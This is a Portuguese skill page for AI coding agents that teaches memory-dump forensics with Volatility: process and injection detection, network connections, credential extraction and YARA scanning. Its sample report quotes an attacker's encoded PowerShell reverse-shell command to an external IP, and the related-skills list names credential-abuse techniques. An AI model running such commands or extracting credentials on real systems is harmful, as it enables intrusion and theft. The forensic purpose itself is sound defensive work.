Communitygithub.com

análise-de-dumps-de-memória-com-volatility

Analisa dumps de memória RAM de sistemas comprometidos usando o framework Volatility para identificar processos maliciosos, injeção de código e artefatos de malware residentes apenas em memória.

O que é análise-de-dumps-de-memória-com-volatility?

Esta skill descreve como usar o framework Volatility para realizar análise forense de dumps de memória RAM capturados de sistemas comprometidos. Ela é especialmente útil para detectar malware fileless, que existe apenas em memória sem deixar artefatos persistentes em disco, e para identificar técnicas avançadas como injeção de processo, DLL injection e process hollowing. A skill suporta as versões 2 e 3 do Volatility, cobre sistemas Windows (com extensões para Linux e macOS via Volatility 3), e inclui etapas como identificação de perfil do sistema operacional, enumeração de processos, detecção de código injetado, análise de conexões de rede, extração de credenciais e escaneamento com regras YARA. O usuário precisa ter o Volatility instalado, um dump de memória válido e conhecimento básico de forense computacional para seguir o fluxo de trabalho detalhado.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

Analisando Dumps de Memória com Volatility

Quando Usar

  • A RAM de um sistema comprometido foi capturada e precisa de análise forense para artefatos de malware
  • Detectando malware fileless que existe apenas em memória sem artefatos persistentes em disco
  • Extraindo chaves de criptografia, senhas ou configuração descriptografada da memória de processos
  • Identificando injeção de processo, injeção de DLL ou process hollowing em um sistema comprometido
  • Analisando atividade de rootkit que se esconde de ferramentas forenses baseadas em disco

Não use para análise de imagens de disco; use Autopsy, FTK ou Sleuth Kit para forense de disco.

Pré-requisitos

  • Volatility 3 instalado (pip install volatility3) com tabelas de símbolos para o SO alvo
  • Arquivo de dump de memória adquirido do sistema alvo (usando WinPmem, LiME ou DumpIt)
  • Conhecimento da versão do SO de origem para seleção correta de perfil/símbolos
  • Espaço em disco suficiente (dumps de memória podem ter de 4 a 64 GB)
  • Regras YARA para escanear a memória em busca de assinaturas de malware conhecidas
  • Utilitário Strings para extrair strings legíveis de regiões de memória

Fluxo de Trabalho

Passo 1: Identificar o Perfil do Dump de Memória

Determine o sistema operacional e a versão a partir do dump de memória:

# Volatility 3: Detecção automática de SO
vol3 -f memory.dmp windows.info

# Listar plugins disponíveis
vol3 -f memory.dmp --help

# Se símbolos forem necessários, baixe de:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# Para Volatility 2 (legado):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Passo 2: Enumerar Processos em Execução

Liste todos os processos e identifique entradas suspeitas:

# Listar todos os processos
vol3 -f memory.dmp windows.pslist

# Árvore de processos (relações pai-filho)
vol3 -f memory.dmp windows.pstree

# Escanear por processos ocultos/não vinculados (detecção de rootkit)
vol3 -f memory.dmp windows.psscan

# Comparar pslist vs psscan para encontrar processos ocultos
# Processos em psscan mas não em pslist estão potencialmente ocultos por rootkits

# Verificar process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Em seguida, verifique se o EXE extraído corresponde ao binário esperado no disco
Indicadores de Processo Suspeito:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe não iniciado por services.exe (pai errado)
- csrss.exe/lsass.exe com processo pai incomum
- Múltiplas instâncias de lsass.exe (deve haver apenas uma)
- Processos com nomes com erros ortográficos (scvhost.exe, lssas.exe)
- cmd.exe ou powershell.exe iniciados por WINWORD.EXE ou navegador
- Processos executando de caminhos incomuns (%TEMP%, %APPDATA%)
- Processos sem pai (órfãos - pai encerrado)

Passo 3: Detectar Injeção de Código Malicioso

Escaneie por código injetado e process hollowing:

# Detectar código injetado em processos (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind procura por:
# - Regiões de memória com proteção PAGE_EXECUTE_READWRITE
# - Regiões de memória contendo cabeçalhos PE (assinatura MZ/PE)
# - Anomalias de VAD (Virtual Address Descriptor)

# Extrair regiões de memória injetadas para análise
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# Listar DLLs carregadas por processo
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detectar processos com hollowing comparando imagem mapeada ao disco
vol3 -f memory.dmp windows.hollowfind

# Escanear por drivers carregados (potenciais drivers de rootkit)
vol3 -f memory.dmp windows.driverscan

# Listar módulos do kernel
vol3 -f memory.dmp windows.modules

Passo 4: Analisar Conexões de Rede

Extraia conexões de rede ativas e encerradas:

# Listar todas as conexões de rede (ativas e escutando)
vol3 -f memory.dmp windows.netscan

# Colunas de saída: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filtrar por conexões estabelecidas para IPs externos
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# Para Windows mais antigo (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cruzar referência de PIDs com lista de processos
# Suspeito: svchost.exe conectado a IP externo em porta não padrão
# Suspeito: notepad.exe ou calc.exe com conexões de rede

Passo 5: Extrair Artefatos e Credenciais

Recupere dados sensíveis da memória:

# Extrair memória de processo para um PID específico
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extrair histórico de linha de comando
vol3 -f memory.dmp windows.cmdline

# Extrair variáveis de ambiente
vol3 -f memory.dmp windows.envars --pid 2184

# Análise de registro (extrair chaves Run para persistência)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extrair credenciais com hash/cache
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extrair conteúdo da área de transferência
vol3 -f memory.dmp windows.clipboard

# Extração de arquivos da memória
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Passo 6: Escanear Memória com Regras YARA

Aplique assinaturas YARA para detectar malware conhecido na memória:

# Escanear dump de memória inteiro com regras YARA
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Escanear memória de processo específico
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Escaneamento YARA embutido para padrões comuns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Escanear por material de chave de criptografia
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Passo 7: Geração de Linha do Tempo e Relatório

Crie uma linha do tempo da análise e compile as descobertas:

# Gerar linha do tempo abrangente
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# A linha do tempo inclui:
# - Horários de criação/término de processos
# - Carimbos de data/hora de conexões de rede
# - Horários de modificação do registro
# - Horários de acesso a arquivos

# Exportar lista de processos para relatório
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Exportar conexões de rede
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Conceitos Chave

TermoDefinição
Forense de MemóriaAnálise do conteúdo da memória volátil (RAM) para identificar processos em execução, conexões de rede e artefatos na memória que podem não existir no disco
Process HollowingTécnica de malware que cria um processo legítimo em estado suspenso, substitui sua memória por código malicioso e retoma a execução
MalfindPlugin do Volatility que detecta código injetado identificando regiões de memória com permissões executáveis e cabeçalhos PE em VADs que não são de imagem
VAD (Descritor de Endereço Virtual)Estrutura do kernel do Windows que rastreia regiões de memória alocadas a um processo; anomalias em VADs indicam injeção ou hollowing
EPROCESSEstrutura do kernel do Windows que representa um processo; rootkits desvinculam entradas EPROCESS para ocultar processos de ferramentas padrão
Varredura por Pool TagTécnica de forense de memória que escaneia tags de pool de objetos do kernel para encontrar objetos (processos, arquivos, conexões) mesmo quando desvinculados
Malware FilelessMalware que opera inteiramente em memória sem criar arquivos em disco; detectável apenas através de forense de memória

Ferramentas e Sistemas

  • Volatility 3: Framework de forense de memória de código aberto que suporta análise de memória Windows, Linux e macOS com arquitetura de plugins
  • WinPmem: Ferramenta de aquisição de memória para sistemas Windows que cria dumps de memória brutos para análise offline
  • LiME (Linux Memory Extractor): Módulo de kernel carregável para capturar dumps de memória de sistemas Linux
  • Rekall: Framework alternativo de forense de memória com algumas capacidades únicas de análise (descontinuado, mas ainda útil)
  • MemProcFS: Sistema de arquivos de processo de memória que permite montar dumps de memória como sistemas de arquivos para análise intuitiva

Cenários Comuns

Cenário: Detectando Malware Fileless Após Alerta de EDR

Contexto: EDR detectou atividade suspeita do PowerShell, mas o ator da ameaça limpou artefatos em disco. Um dump de memória foi capturado antes da reinicialização do sistema. A análise precisa identificar o malware, seu mecanismo de persistência e qualquer movimento lateral.

Abordagem:

  1. Execute windows.pstree para identificar a cadeia de processos (qual processo iniciou o PowerShell)
  2. Execute windows.malfind para detectar código injetado em processos em execução
  3. Extraia a memória do processo suspeito e extraia strings para URLs de C2
  4. Execute windows.netscan para identificar conexões de rede dos processos comprometidos
  5. Execute windows.cmdline para ver quais comandos o PowerShell executou
  6. Escaneie com regras YARA para famílias de malware conhecidas na memória do processo extraída
  7. Extraia credenciais com hashdump e lsadump para avaliar risco de movimento lateral

Armadilhas:

  • Usar as tabelas de símbolos erradas para a versão do SO (causa falhas de plugin ou resultados incorretos)
  • Não comparar a saída de pslist vs psscan (perder processos ocultos por rootkit)
  • Ignorar processos legítimos que foram alvo de injeção (focar em resultados de malfind, não apenas nomes de processos)
  • Não extrair a memória completa do processo antes de concluir a análise (strings do dump de processo podem revelar IOCs adicionais)

Formato de Saída

RELATÓRIO DE ANÁLISE FORENSE DE MEMÓRIA
===========================================
Arquivo de Dump:    memory.dmp
Tamanho do Dump:    16 GB
Versão do SO:       Windows 10 21H2 (Build 19044)
Ferramenta de Captura: WinPmem 4.0
Horário da Captura: 2025-09-15 14:35:00 UTC

PROCESSOS SUSPEITOS
PID   PPID  Nome              Caminho                                    Anomalia
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Caminho errado
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Filho de svchost falso
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Iniciado por PowerShell

INJEÇÃO DE CÓDIGO DETECTADA (malfind)
PID 852 (explorer.exe):
  Endereço: 0x00400000  Tamanho: 98304  Proteção: PAGE_EXECUTE_READWRITE
  Cabeçalho: MZ (PE embutido detectado)
  SHA-256 do dump: abc123def456...

CONEXÕES DE REDE
PID   Processo        Local              Remoto               Estado
2184  svchost.exe     10.1.5.42:49152    185.220.101.42:443   ESTABELECIDA
4012  powershell.exe  10.1.5.42:49200    91.215.85.17:8080    ESTABELECIDA

CREDENCIAIS EXTRAÍDAS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

HISTÓRICO DE LINHA DE COMANDO
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decodificado: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

CORRESPONDÊNCIAS YARA
PID 2184: regra CobaltStrike_Beacon { correspondência em 0x00401200 }

LINHA DO TEMPO
14:10:00  svchost.exe (PID 2184) criado de C:\Users\Admin\AppData\Temp\
14:10:05  Conexão de rede para 185.220.101.42:443 estabelecida
14:12:30  powershell.exe (PID 4012) iniciado por svchost.exe
14:15:00  Injeção de código em explorer.exe (PID 852) detectada
14:20:00  Extração de credenciais do processo LSASS

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Habilidades Relacionadas